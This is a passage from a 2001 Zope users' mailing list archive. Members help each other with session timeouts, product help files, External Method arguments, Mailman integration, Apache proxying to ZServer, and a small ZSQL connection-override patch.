is in the UK. http://www.nipltd.com/ iMeme is in America. ;) http://imeme.net Cheers, Jake -- Jake Berglund Online Community Building http://imeme.net - Affordable Zope Webhosting From chrism@digicool.com Thu May 10 20:02:52 2001 From: chrism@digicool.com (Chris McDonough) Date: Thu, 10 May 2001 15:02:52 -0400 Subject: [Zope] CoreSessionTracking timeout question References: <3AFAE3F9.F17C8ED@farm9.com> Message-ID: <039d01c0d983$d0e11910$8e17a8c0@kurtz> You're right. Which version of CoreSessionTracking are you using? 0.7 had problems like this that AFAIK 0.8 solves entirely. ----- Original Message ----- From: "Joh Johannsen" To: "zope" Sent: Thursday, May 10, 2001 2:54 PM Subject: [Zope] CoreSessionTracking timeout question > > I've got an Internal Session Data Container timeout set 30 minutes, but > occasionally I will start a new session, and all the session data > disappears after a couple minutes. The way I understand it, any time I > access session data, that 30 minute timer starts again. Is there > something I'm doing wrong here? > > Thanks, > > JJ > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From jasonic@nomadicsltd.com Thu May 10 20:08:26 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Thu, 10 May 2001 15:08:26 -0400 Subject: [Zope] Where are user created help files stored? Message-ID: <000b01c0d984$97a72d00$c3090740@megapathdsl.net> Zope2.3.2 Win98se/Redhat6.2 I am upgrading the READMEs for a simple Zope Product. I clicked through the ZMI /Control_Panel/Products/ to add some help files. Very nice :-) An example where TTW simple editing really makes sense. I added two help pages for: 'install' and 'use' easily called like this: http://jasonic/Control_Panel/Products/BSDObject/Help/use Then I uploaded my Product folder to remote Linux setup. Works fine but my help files are not there :/ The principle seems obvious to me -help files belong in each Products own folder. Where are the help files kept? Various searches show lots of other help folders but not for my product. Am I doing something wrong or is the workflow for this not yet well developed? Seems like a another vote for a consistent basic Zope Product maintenance API like HiawathaZ[Zope Beans] ? http://www.pault.com/pault/prod/Hiawatha/HiawathaZ.html Also I am curious why does HiawathaZ proposal use separate non-python XML tools? thanks ./Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From jburton@scw.org Thu May 10 20:02:54 2001 From: jburton@scw.org (Joel Burton) Date: Thu, 10 May 2001 15:02:54 -0400 (EDT) Subject: [Zope] listservs, forums and Zope... In-Reply-To: Message-ID: On Thu, 10 May 2001, Larry Prikockis wrote: > Hi... > I'm wondering if anyone has done anything along the lines of creating an > interface between an email list product such as listserv or majordomo and > Zope... I'm setting up a small intranet site using Zope and trying to > figure out if there's an easy way to integrate our existing majordomo lists > with the new Zope site. > > If one of the Zope forum products had an option for email notification, that > would go a long way towards solving the problem-- but it doesn't seem like > any provide this function at present. Alternatively, if there were a > product that could accept an email message and create a message archive (ala > hypermail), that would be great too... I'm not yet familiar with Zope and > python to create something like this myself easily, but it seems to be a > fairly simple thing. We use mailman, which is, IMHO, much easier to administer than majordomo, and much less expensive than Listserv. Mailman isn't a Zope product per se, but it is programmed in python, and it's stuff is stored in python marshalled data, so it's fairly easy to get at. If I can offer specific help on places you're stuck, let me know. -- Joel Burton Director of Information Systems, Support Center of Washington From michel@digicool.com Thu May 10 20:04:44 2001 From: michel@digicool.com (Michel Pelletier) Date: Thu, 10 May 2001 12:04:44 -0700 (PDT) Subject: [Zope] [OT] subject headings/clarification In-Reply-To: <871ypy9pfg.fsf@joyful.com> Message-ID: On 9 May 2001, Simon Michael wrote: > Michel Pelletier writes: > > We had this debate about ten years ago (internet time). The result > > of that debate is obvious. Let's let dead dogs lie. > > Hi Michel, > > oops - wasn't aware this was a dog. (I might have forgotten). > Naturally until I see a good counter-argument from someone I'll > continue to think the current setup is broken.* Of course. > It looks as if you want to squelch this thread, but it would have been > nice to discuss this a little longer. We might have found out more > about what the current consensus is (we had 2 for & 2 against); why > people find it useful; who's decision it is one way or another; etc. I didn't want to squelch it, I was just giving you my opinion. You and everyone else are welcome to continue to discuss it and you don't need my consent or permission to do so. > >From time to time I see discussions around here which seem well within > bounds of reasonable tone and topic, and which interest at least some > of the list membership, which "DC" seems to feel it must stamp on. > > So I'll take the opportunity to ask: does DC officially frown on eg > threads like this one ? Not at all. Absolutely nothing that I say on this list is the opinion of Digital Creations. -Michel From michel@digicool.com Thu May 10 20:15:47 2001 From: michel@digicool.com (Michel Pelletier) Date: Thu, 10 May 2001 12:15:47 -0700 (PDT) Subject: [Zope] Where are user created help files stored? In-Reply-To: <000b01c0d984$97a72d00$c3090740@megapathdsl.net> Message-ID: On Thu, 10 May 2001, Jason Cunliffe wrote: > Zope2.3.2 > Win98se/Redhat6.2 > > I am upgrading the READMEs for a simple Zope Product. > I clicked through the ZMI /Control_Panel/Products/ to add some help files. > Very nice :-) An example where TTW simple editing really makes sense. > > I added two help pages for: 'install' and 'use' easily called like this: > http://jasonic/Control_Panel/Products/BSDObject/Help/use > > Then I uploaded my Product folder to remote Linux setup. > Works fine but my help files are not there :/ Creating help topics through the web is really only meant for associating them with ZClasses (you know, the little 'help' pull down box next to ZClass views) > The principle seems obvious to me -help files belong in each Products own > folder. Yep. > Where are the help files kept? In a directory in your product named 'help'. .html, .txt, and .stx files can be created there, as well as any images you want. Help topics are associated with object views in your objects 'manage_options'. See just about any core Zope product for an example. > Various searches show lots of other help folders but not for my product. > Am I doing something wrong or is the workflow for this not yet well > developed? http://www.zope.org/DocProjects/zope_product -Michel From slinkp23@yahoo.com Thu May 10 20:26:06 2001 From: slinkp23@yahoo.com (Paul Winkler) Date: Thu, 10 May 2001 15:26:06 -0400 Subject: [Zope] External method default arg weirdness References: <15096.16266.317370.302060@lindm.dm> <3AF98B27.788D2D61@yahoo.com> <15097.41547.405033.520761@lindm.dm> Message-ID: <3AFAEB4E.99E170A9@yahoo.com> Dieter Maurer wrote: > > Paul Winkler writes: > > But I don't understand why that affects the rest of the > > parameters??? Very un-pythonic. > I agree. The more modern Python scripts solve the same problem > much better. > > The motivation for this "feature": > > Often External Methods should behave like methods. > Sometimes, they should not. > > The implementers used the following heuristics to distinguish > between these two cases: > > First, it is tried to call the method with the parameters > provided. If this raises a "TypeError" and the > first parameter is called "self", then the > call is retried, this time with "aq_parent" as first > parameter. > > This magic works only, if the method is called with > precisely one parameter less then the required > arguments. It breaks very likely, when there are > default parameters. In this case, you need to pass > the "self" parameter explicitly and can not count on > the magic. Thanks for the clarification. Now I see why it's done that way, but I still think it's a pretty dodgy solution - it's like, "Here you can write python code that will behave like you expect it to, but it will fail under certain obscure circumstances, and when it breaks the traceback error will not help you." Too much magic hand-waving for me. I'll try python scripts, see if that's better. -- ................... paul winkler .................... custom calendars & printing: http://www.calendargalaxy.com A member of ARMS: http://www.reacharms.com home page: http://www.slinkp.com From jojo@farm9.com Thu May 10 20:54:23 2001 From: jojo@farm9.com (Joh Johannsen) Date: Thu, 10 May 2001 12:54:23 -0700 Subject: [Zope] CoreSessionTracking timeout question References: <3AFAE3F9.F17C8ED@farm9.com> <039d01c0d983$d0e11910$8e17a8c0@kurtz> Message-ID: <3AFAF1EF.70B4092@farm9.com> Using 0.8 with Zope 2.2.4 Chris McDonough wrote: > > You're right. Which version of CoreSessionTracking are you using? 0.7 had > problems like this that AFAIK 0.8 solves entirely. > > ----- Original Message ----- > From: "Joh Johannsen" > To: "zope" > Sent: Thursday, May 10, 2001 2:54 PM > Subject: [Zope] CoreSessionTracking timeout question > > > > > I've got an Internal Session Data Container timeout set 30 minutes, but > > occasionally I will start a new session, and all the session data > > disappears after a couple minutes. The way I understand it, any time I > > access session data, that 30 minute timer starts again. Is there > > something I'm doing wrong here? > > > > Thanks, > > > > JJ > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > From chrism@digicool.com Thu May 10 21:03:21 2001 From: chrism@digicool.com (Chris McDonough) Date: Thu, 10 May 2001 16:03:21 -0400 Subject: [Zope] CoreSessionTracking timeout question References: <3AFAE3F9.F17C8ED@farm9.com> <039d01c0d983$d0e11910$8e17a8c0@kurtz> <3AFAF1EF.70B4092@farm9.com> Message-ID: <007901c0d98c$43f5e090$8e17a8c0@kurtz> In that case, I don't know the answer... is anyone else other than Jon having this problem? ----- Original Message ----- From: "Joh Johannsen" To: "Chris McDonough" Cc: "zope" Sent: Thursday, May 10, 2001 3:54 PM Subject: Re: [Zope] CoreSessionTracking timeout question > Using 0.8 with Zope 2.2.4 > > Chris McDonough wrote: > > > > You're right. Which version of CoreSessionTracking are you using? 0.7 had > > problems like this that AFAIK 0.8 solves entirely. > > > > ----- Original Message ----- > > From: "Joh Johannsen" > > To: "zope" > > Sent: Thursday, May 10, 2001 2:54 PM > > Subject: [Zope] CoreSessionTracking timeout question > > > > > > > > I've got an Internal Session Data Container timeout set 30 minutes, but > > > occasionally I will start a new session, and all the session data > > > disappears after a couple minutes. The way I understand it, any time I > > > access session data, that 30 minute timer starts again. Is there > > > something I'm doing wrong here? > > > > > > Thanks, > > > > > > JJ > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://lists.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://lists.zope.org/mailman/listinfo/zope-announce > > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > From troy.farrell@wcg.com Thu May 10 21:12:42 2001 From: troy.farrell@wcg.com (Farrell, Troy) Date: Thu, 10 May 2001 15:12:42 -0500 Subject: [Zope] Whatever happened to ... SQL Relay? Message-ID: It's still at firstworks. His hosting co was acquired and he had to make a DNS change. You should be able to hit it sometime soon (next coupla days). I got it just fine. Troy -----Original Message----- From: Chris Gray [mailto:cpgray@library.uwaterloo.ca] Sent: Thursday, May 10, 2001 1:35 PM To: zope@zope.org Subject: [Zope] Whatever happened to ... SQL Relay? Does anyone know what happened to SQL Relay? The Sourceforge site says that the project moved back to www.firstworks.com but DNS searches say that that host doesn't exist. Chris From dieter@handshake.de Thu May 10 21:02:59 2001 From: dieter@handshake.de (Dieter Maurer) Date: Thu, 10 May 2001 22:02:59 +0200 (CEST) Subject: [Zope] getPhysicalPath of a DTML Method? In-Reply-To: <504125090@toto.iv> Message-ID: <15098.62451.92265.856952@lindm.dm> iap_y2fun.com writes: > ... pythical path of a DTML method ... > 1. The "method.this().absolute_url(1)" work-around dosen't > work for me. Why not? What about: "method.getPhysicalPath()" Dieter From dieter@handshake.de Thu May 10 20:58:38 2001 From: dieter@handshake.de (Dieter Maurer) Date: Thu, 10 May 2001 21:58:38 +0200 (CEST) Subject: [Zope] view management screens In-Reply-To: <488145888@toto.iv> Message-ID: <15098.62190.585124.446984@lindm.dm> nuno writes: > Why the external methods need to have view management screens to run ? That seems to be special for your installation. I have never seen it. The call of our external methods (that we use intensively) are protected by view permissions. Only "manage_main" (to edit the methods) are protected by "View management screens". Dieter From dieter@handshake.de Thu May 10 21:12:38 2001 From: dieter@handshake.de (Dieter Maurer) Date: Thu, 10 May 2001 22:12:38 +0200 (CEST) Subject: [Zope] Batch-adding images with extra attribs In-Reply-To: <619458926@toto.iv> Message-ID: <15098.63030.738530.619090@lindm.dm> Etienne Labuschagne writes: > I have a lot of images that I must upload into Zope. I can probably use > FTP, but I have another problem. I add a copyright attribute to each image. I would use "load_site.py" (in the "utilities" subfolder of the Zope distribution) as a base and extend it with the property addition. Dieter From dieter@handshake.de Thu May 10 21:09:18 2001 From: dieter@handshake.de (Dieter Maurer) Date: Thu, 10 May 2001 22:09:18 +0200 (CEST) Subject: [Zope] Adding an ExtFile from a web page In-Reply-To: <740792031@toto.iv> Message-ID: <15098.62830.727001.374463@lindm.dm> Andrei Cenja writes: > --=====================_58536290==_.ALT > Content-Type: text/plain; charset="us-ascii"; format=flowed Please do not post MIME messages! > .... > context.manage_addProduct['OFSP'].manage_addFile(id=<>, title=<>, file=<> ) > > and now I would like to do something equivalent with manage_addExtFile; > however, I constantly receive a key error > > Error Type: KeyError > Error Value: standard_html_header Apparently, the acquisition chain is broken. This could happen, if "manage_addExtFile" would be a DTML object. You should check the "signature" of "manage_addExtFile", i.e. what parameters it wants. Furthermore, we might help you better, if you include the traceback in your problem report. Dieter From laurien@tiger.bcm.tmc.edu Thu May 10 22:25:03 2001 From: laurien@tiger.bcm.tmc.edu (Laurie Nason) Date: Thu, 10 May 2001 16:25:03 -0500 Subject: [Zope] looping over lines in document Message-ID: Hi guys & gals, Is it possible to use over a DTML method's text and get each line out one by one. I know there is a lines property but am not sure how or if it can be used in this context. The reason I am asking is that I am trying somehow to store my lookup values for my select boxes in one folder with each lookup having a separate DTML method containing the values. If anyone has a better idea, please let me know. Thanks, Laurie Laurie Nason Dept. of Biochemistry - N420 Baylor College of Medicine Houston. TX77030 From Danny@Adair.net Thu May 10 22:52:20 2001 From: Danny@Adair.net (Danny William Adair) Date: Fri, 11 May 2001 09:52:20 +1200 Subject: [Zope] listservs, forums and Zope... In-Reply-To: Message-ID: Did you see the code Ken Manheimer posted last year? There might be very useful stuff in there... On July 6, 2000, Ken Manheimer wrote: >>> ... >>> One of the first things zope exercises i did when learning zope, not tool >>> long after coming to digital creations, was create a product that hooked >>> up with the Mailman installation on zope.org. (One of the last things i >>> did at my prior job, at CNRI, was to resurrect and revitalize the >>> prototype Mailman, for use as the maillist manager on python.org.) >>> >>> I moved on to other things, and the MMRoster product may be way out of >>> date - i don't even know if the mailman interfaces have changed from >>> underneath, and i *know* that the zope ones have - but the product still >>> may offer some useful clues about one way to hook up with mailman. I just >>> uploaded a tarball of it to my members folder - see >>> >>> http://www.zope.org/Members/klm/MailmanStuff/MMRoster.tar.gz >>> >>> (I know ethan is interested in this topic, and barry warsaw, mailman's >>> current maintainer and my old colleague/buddy, has also expressed >>> interest, so i'm cc'ing them.) >>> >>> All this said, i'm spread too thin at the moment to be able to *do* much >>> more than watch, maybe chime in, if stuff happens... >>> >>> ... hth a little, Danny >>> -----Ursprungliche Nachricht----- >>> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im Auftrag von Joel >>> Burton >>> Gesendet: Freitag, 11. Mai 2001 07.03 >>> An: Larry Prikockis >>> Cc: 'zope@zope.org' >>> Betreff: Re: [Zope] listservs, forums and Zope... >>> >>> >>> On Thu, 10 May 2001, Larry Prikockis wrote: >>> >>> > Hi... >>> > I'm wondering if anyone has done anything along the lines >>> of creating an >>> > interface between an email list product such as listserv or >>> majordomo and >>> > Zope... I'm setting up a small intranet site using Zope and trying to >>> > figure out if there's an easy way to integrate our existing >>> majordomo lists >>> > with the new Zope site. >>> > >>> > If one of the Zope forum products had an option for email >>> notification, that >>> > would go a long way towards solving the problem-- but it >>> doesn't seem like >>> > any provide this function at present. Alternatively, if there were a >>> > product that could accept an email message and create a >>> message archive (ala >>> > hypermail), that would be great too... I'm not yet familiar >>> with Zope and >>> > python to create something like this myself easily, but it >>> seems to be a >>> > fairly simple thing. >>> >>> We use mailman, which is, IMHO, much easier to administer than >>> majordomo, >>> and much less expensive than Listserv. >>> >>> Mailman isn't a Zope product per se, but it is programmed in python, and >>> it's stuff is stored in python marshalled data, so it's fairly >>> easy to get >>> at. >>> >>> If I can offer specific help on places you're stuck, let me know. >>> >>> -- >>> Joel Burton >>> Director of Information Systems, Support Center of Washington >>> >>> >>> _______________________________________________ >>> Zope maillist - Zope@zope.org >>> http://lists.zope.org/mailman/listinfo/zope >>> ** No cross posts or HTML encoding! ** >>> (Related lists - >>> http://lists.zope.org/mailman/listinfo/zope-announce >>> http://lists.zope.org/mailman/listinfo/zope-dev ) >>> From zope@thewebsons.com Thu May 10 22:31:52 2001 From: zope@thewebsons.com (Ben Ocean) Date: Thu, 10 May 2001 14:31:52 -0700 Subject: [Zope] Acting As a Regular Server Message-ID: <5.0.2.1.0.20010510142726.00a06810@thewebsons.com> Hi; I know there are several products out there for making regular URLs resolve (e.g.; http://localhost.com/ ) and getting Zope to interpret it all correctly, but I've misplaced my notes and given up searching the Zope site after an hour: what are they again? Also, is it possible to simply reconfigure one's httpd.conf file in such a way to redirect traffic to the appropriate directory (and what would that be?). I don't want to have to reconfigure all of my virtualhosts to make them call up Zope, just the new ones I'll be building on this platform, but it sure would be nice to use the Apache server. What's the best way to do this? TIA, BenO From charlie@blanchardsite.com Thu May 10 22:47:35 2001 From: charlie@blanchardsite.com (Charlie Blanchard) Date: Thu, 10 May 2001 14:47:35 -0700 Subject: [Zope] History of DC and/or Zope In-Reply-To: <3AFAC9A9.396562A5@lvcm.com>; from webmaven@lvcm.com on Thu, May 10, 2001 at 10:02:33AM -0700 References: <000001c0d910$b9723e30$abcc4e18@cr582427a> <3AFAC9A9.396562A5@lvcm.com> Message-ID: <20010510144735.H539@blanchardsite.com> On Thu, May 10, 2001 at 10:02:33AM -0700, Michael Bernstein wrote: > Andy McKay wrote: > > > > I'm looking for any documents about the history and beginning > > of Zope. (Searches on Zope.org have turned up nothing so > > far, still searching) > > > > I'm giving an intro to Zope talk to developers and wanted to > > quickly cover the history of Zope / DC etc. If there any > > suitable talks on this topic, pointers to those would be > > appreciated too :) > > http://lwn.net/1998/1203/digicool.phtml > > http://classic.zope.org:8080/Information/History > > http://www.zope.org/Members/paul/BusinessDecision > cool! i've been giving a series of zope demos/talks to drum up interest in lazug.org out here in southern california over the last month or so and could've used this info! oh well, it'll make the one i'm doing tonite better anyway... cheers, -- charlie blanchard http://baldguru.com/ LosAngeles area Zope Users Group http://lazug.org From lstafford@morphics.com Thu May 10 23:21:02 2001 From: lstafford@morphics.com (Loren Stafford) Date: Thu, 10 May 2001 15:21:02 -0700 Subject: [Zope] looping over lines in document In-Reply-To: Message-ID: 1. A lines property is probably the simplest solution. If your property is called MyList, then your DTML would be
2. Instead of a property, you could use a DTML method that simply returns a list of precoded values, like this: 4. There probably is a way to suck the lines of a DTML method out as a list, but that wouldn't be a straight-forward solution. 5. You could use a TinyTable is the list is more complicated. -- Loren > -----Original Message----- > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of > Laurie Nason > Sent: Thursday, May 10, 2001 14:25 > To: Zope > Subject: [Zope] looping over lines in document > > > Hi guys & gals, > > Is it possible to use over a DTML method's text and get > each line > out one by one. I know there is a lines property but am not sure how or if > it can be used in this context. > > The reason I am asking is that I am trying somehow to store my > lookup values > for my select boxes in one folder with each lookup having a separate DTML > method containing the values. If anyone has a better idea, please let me > know. > > Thanks, > Laurie > > Laurie Nason > Dept. of Biochemistry - N420 > Baylor College of Medicine > Houston. TX77030 > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From charlie@blanchardsite.com Thu May 10 23:29:21 2001 From: charlie@blanchardsite.com (Charlie Blanchard) Date: Thu, 10 May 2001 15:29:21 -0700 Subject: [Zope] Acting As a Regular Server In-Reply-To: <5.0.2.1.0.20010510142726.00a06810@thewebsons.com>; from zope@thewebsons.com on Thu, May 10, 2001 at 02:31:52PM -0700 References: <5.0.2.1.0.20010510142726.00a06810@thewebsons.com> Message-ID: <20010510152921.J539@blanchardsite.com> On Thu, May 10, 2001 at 02:31:52PM -0700, Ben Ocean wrote: > Hi; > I know there are several products out there for making regular URLs resolve > (e.g.; http://localhost.com/ ) and getting Zope to interpret it all > correctly, but I've misplaced my notes and given up searching the Zope site > after an hour: what are they again? Also, is it possible to simply > reconfigure one's httpd.conf file in such a way to redirect traffic to the > appropriate directory (and what would that be?). I don't want to have to > reconfigure all of my virtualhosts to make them call up Zope, just the new > ones I'll be building on this platform, but it sure would be nice to use > the Apache server. What's the best way to do this? > TIA, > BenO > if i understand your question, this is what you're looking for: http://www.zope.org/Members/anser/apache_zserver hth, -- charlie blanchard http://baldguru.com/ LosAngeles area Zope Users Group http://lazug.org From andres@corrada.com Fri May 11 00:10:32 2001 From: andres@corrada.com (andres@corrada.com) Date: Thu, 10 May 2001 19:10:32 -0400 Subject: [Zope] CoreSessionTracking timeout question In-Reply-To: <007901c0d98c$43f5e090$8e17a8c0@kurtz>; from Chris McDonough on Thu, May 10, 2001 at 04:03:21PM -0400 References: <3AFAE3F9.F17C8ED@farm9.com> <039d01c0d983$d0e11910$8e17a8c0@kurtz> <3AFAF1EF.70B4092@farm9.com> <007901c0d98c$43f5e090$8e17a8c0@kurtz> Message-ID: <20010510191032.B31180@corrada.com> Yes, I noticed this erratic behaviour also and raised the time to 60 minutes and have not had a problem since then, but I would prefer to feel safe setting it back down to 30. On Thu, May 10, 2001 at 04:03:21PM -0400, Chris McDonough wrote: > In that case, I don't know the answer... is anyone else other than Jon > having this problem? > ------------------------------------------------------ Andres Corrada-Emmanuel Email: andres@corrada.com Internet Programming http://www.mamey.com ------------------------------------------------------ From zope@thewebsons.com Fri May 11 00:13:04 2001 From: zope@thewebsons.com (Ben Ocean) Date: Thu, 10 May 2001 16:13:04 -0700 Subject: [Zope] Acting As a Regular Server In-Reply-To: <20010510152921.J539@blanchardsite.com> References: <5.0.2.1.0.20010510142726.00a06810@thewebsons.com> <5.0.2.1.0.20010510142726.00a06810@thewebsons.com> Message-ID: <5.0.2.1.0.20010510160805.00a18950@thewebsons.com> At 03:29 PM 5/10/2001 -0700, you wrote: >On Thu, May 10, 2001 at 02:31:52PM -0700, Ben Ocean wrote: > > Hi; > > I know there are several products out there for making regular URLs > resolve > > (e.g.; http://localhost.com/ ) and getting Zope to interpret it all > > correctly, but I've misplaced my notes and given up searching the Zope > site > > after an hour: what are they again? Also, is it possible to simply > > reconfigure one's httpd.conf file in such a way to redirect traffic to the > > appropriate directory (and what would that be?). I don't want to have to > > reconfigure all of my virtualhosts to make them call up Zope, just the new > > ones I'll be building on this platform, but it sure would be nice to use > > the Apache server. What's the best way to do this? > > TIA, > > BenO > > >if i understand your question, this is what you're looking for: >http://www.zope.org/Members/anser/apache_zserver After reviewing that page (which I appreciate), I'm not sure that this works for *all* calls to a URL. In other words, if my server is called *thewebsons.com*, I have a virtual host called *allmyjokes.com* and I want all calls to *allmyjokes.com* to call the ZServer and Zope, how do I configure this in such a way that a client can click, for example, http://AllMyJokes.com/ and be redirected to http://TheWebsons.com:8080/allmyjokes/ with it being transparent to the client? Do I do this in the container or in the container? The latter makes more sense to me, and hence the confusion. TIA, BenO From andym@ActiveState.com Fri May 11 00:42:05 2001 From: andym@ActiveState.com (Andy McKay) Date: Thu, 10 May 2001 16:42:05 -0700 Subject: [Zope] Using an arbitrary connection on a ZSQL Method Message-ID: <006001c0d9aa$d1c41450$ae03a8c0@activestate.com> Just did a useful hack I wanted share... Occasionally I find it useful to have one SQL Method that I can call with a different DB connection, programatically. For example I have a test and a live database. Using manage_editProperties each time of course means writing a new copy of the object. The following patch means that you can override the connection_id on the ZSQLMethod with CONNECTION_ID in REQUEST. This could be cleaned up a little of course but I found it useful in conjunction with session management. --- l:\lib\python\Shared\DC\ZRDB\DA.py Thu May 10 16:29:25 2001 +++ q:\lib\python\Shared\DC\ZRDB\DA.py Thu May 10 15:08:36 2001 @@ -457,11 +457,14 @@ if hasattr(self, 'REQUEST'): REQUEST=self.REQUEST else: REQUEST={} - try: dbc=getattr(self, self.connection_id) + if REQUEST is not None and REQUEST.has_key('CONNECTION_ID'): c_id = REQ UEST['CONNECTION_ID'] + else: c_id = self.connection_id + + try: dbc=getattr(self, c_id) except AttributeError: raise AttributeError, ( "The database connection %s cannot be found." % ( - self.connection_id)) + c_id)) try: DB__=dbc() except: raise 'Database Error', ( Cheers. -- Andy McKay. From jojo@farm9.com Fri May 11 00:39:30 2001 From: jojo@farm9.com (Joh Johannsen) Date: Thu, 10 May 2001 16:39:30 -0700 Subject: [Zope] CoreSessionTracking timeout question References: <3AFAE3F9.F17C8ED@farm9.com> <039d01c0d983$d0e11910$8e17a8c0@kurtz> <3AFAF1EF.70B4092@farm9.com> <007901c0d98c$43f5e090$8e17a8c0@kurtz> <20010510191032.B31180@corrada.com> Message-ID: <3AFB26B2.A4633D7E@farm9.com> strange, I changed the timeout to 10 minutes (hoping to find a reproduceable case), and now it has not happened since. I haven't tried 60 minutes yet. 20 and 30 both did not behave very well. Thanks for the info. Regards, JJ andres@corrada.com wrote: > > Yes, I noticed this erratic behaviour also and raised the time to 60 minutes > and have not had a problem since then, but I would prefer to feel safe setting > it back down to 30. > > On Thu, May 10, 2001 at 04:03:21PM -0400, Chris McDonough wrote: > > In that case, I don't know the answer... is anyone else other than Jon > > having this problem? > > > > ------------------------------------------------------ > Andres Corrada-Emmanuel Email: andres@corrada.com > Internet Programming http://www.mamey.com > ------------------------------------------------------ > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From charlie@blanchardsite.com Fri May 11 00:46:33 2001 From: charlie@blanchardsite.com (Charlie Blanchard) Date: Thu, 10 May 2001 16:46:33 -0700 Subject: [Zope] Acting As a Regular Server In-Reply-To: <5.0.2.1.0.20010510160805.00a18950@thewebsons.com>; from zope@thewebsons.com on Thu, May 10, 2001 at 04:13:04PM -0700 References: <5.0.2.1.0.20010510142726.00a06810@thewebsons.com> <5.0.2.1.0.20010510142726.00a06810@thewebsons.com> <20010510152921.J539@blanchardsite.com> <5.0.2.1.0.20010510160805.00a18950@thewebsons.com> Message-ID: <20010510164633.M539@blanchardsite.com> On Thu, May 10, 2001 at 04:13:04PM -0700, Ben Ocean wrote: > At 03:29 PM 5/10/2001 -0700, you wrote: > >On Thu, May 10, 2001 at 02:31:52PM -0700, Ben Ocean wrote: > > > Hi; > > > I know there are several products out there for making regular URLs > > resolve > > > (e.g.; http://localhost.com/ ) and getting Zope to interpret it all > > > correctly, but I've misplaced my notes and given up searching the Zope > > site > > > after an hour: what are they again? Also, is it possible to simply > > > reconfigure one's httpd.conf file in such a way to redirect traffic to the > > > appropriate directory (and what would that be?). I don't want to have to > > > reconfigure all of my virtualhosts to make them call up Zope, just the new > > > ones I'll be building on this platform, but it sure would be nice to use > > > the Apache server. What's the best way to do this? > > > TIA, > > > BenO > > > > >if i understand your question, this is what you're looking for: > >http://www.zope.org/Members/anser/apache_zserver > > After reviewing that page (which I appreciate), I'm not sure that this > works for *all* calls to a URL. In other words, if my server is called > *thewebsons.com*, I have a virtual host called *allmyjokes.com* and I want > all calls to *allmyjokes.com* to call the ZServer and Zope, how do I > configure this in such a way that a client can click, for example, > http://AllMyJokes.com/ and be redirected to > http://TheWebsons.com:8080/allmyjokes/ with it being transparent to the > client? Do I do this in the container or in the > container? The latter makes more sense to me, and hence the confusion. > i use the directive to do the ProxyPass-ing as instructed in the how-to. Works just fine. You can pass to _any_ subfolder in your zope hierarchy you want. Do it in the for *allmyjokes.com* and it should work just fine... btw: remember you have to enable "mod_proxy" elsewhere in the apache configs for this to work... hth, -- charlie blanchard http://baldguru.com/ LosAngeles area Zope Users Group http://lazug.org From zope@thewebsons.com Fri May 11 00:59:55 2001 From: zope@thewebsons.com (Ben Ocean) Date: Thu, 10 May 2001 16:59:55 -0700 Subject: [Zope] ZServer Must Be Continually Re-Started Message-ID: <5.0.2.1.0.20010510165825.009fd040@thewebsons.com> Hi; I'm still having problems with ZServer quitting on me on a whim. Can someone help me figure out how to trouble-shoot this? I just installed the latest distro, so it's not the *old bug* that plagued earlier versions. TIA, BenO From chrism@digicool.com Fri May 11 01:12:03 2001 From: chrism@digicool.com (Chris McDonough) Date: Thu, 10 May 2001 20:12:03 -0400 Subject: [Zope] CoreSessionTracking timeout question References: <3AFAE3F9.F17C8ED@farm9.com> <039d01c0d983$d0e11910$8e17a8c0@kurtz> <3AFAF1EF.70B4092@farm9.com> <007901c0d98c$43f5e090$8e17a8c0@kurtz> <20010510191032.B31180@corrada.com> <3AFB26B2.A4633D7E@farm9.com> Message-ID: <3AFB2E53.C45BAB1C@digicool.com> This is troubling. Please keep me informed if weird things start to happen again... before I make the next release I suppose I need to make some more tests. Currently the test suite only tests a session data object with a 1-minute timeout (as a 30 minute timeout would make for a pretty silly test). The 1-minute test seems to work just fine, however. :-( Joh Johannsen wrote: > > strange, I changed the timeout to 10 minutes (hoping to find a > reproduceable case), and now it has not happened since. I haven't tried > 60 minutes yet. 20 and 30 both did not behave very well. > > Thanks for the info. > > Regards, > > JJ > > andres@corrada.com wrote: > > > > Yes, I noticed this erratic behaviour also and raised the time to 60 minutes > > and have not had a problem since then, but I would prefer to feel safe setting > > it back down to 30. > > > > On Thu, May 10, 2001 at 04:03:21PM -0400, Chris McDonough wrote: > > > In that case, I don't know the answer... is anyone else other than Jon > > > having this problem? > > > > > > > ------------------------------------------------------ > > Andres Corrada-Emmanuel Email: andres@corrada.com > > Internet Programming http://www.mamey.com > > ------------------------------------------------------ > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From dan@caliginous.com Fri May 11 01:12:17 2001 From: dan@caliginous.com (Dan Jacobs) Date: Fri, 11 May 2001 01:12:17 +0100 (BST) Subject: [Zope] Changing ZClasses 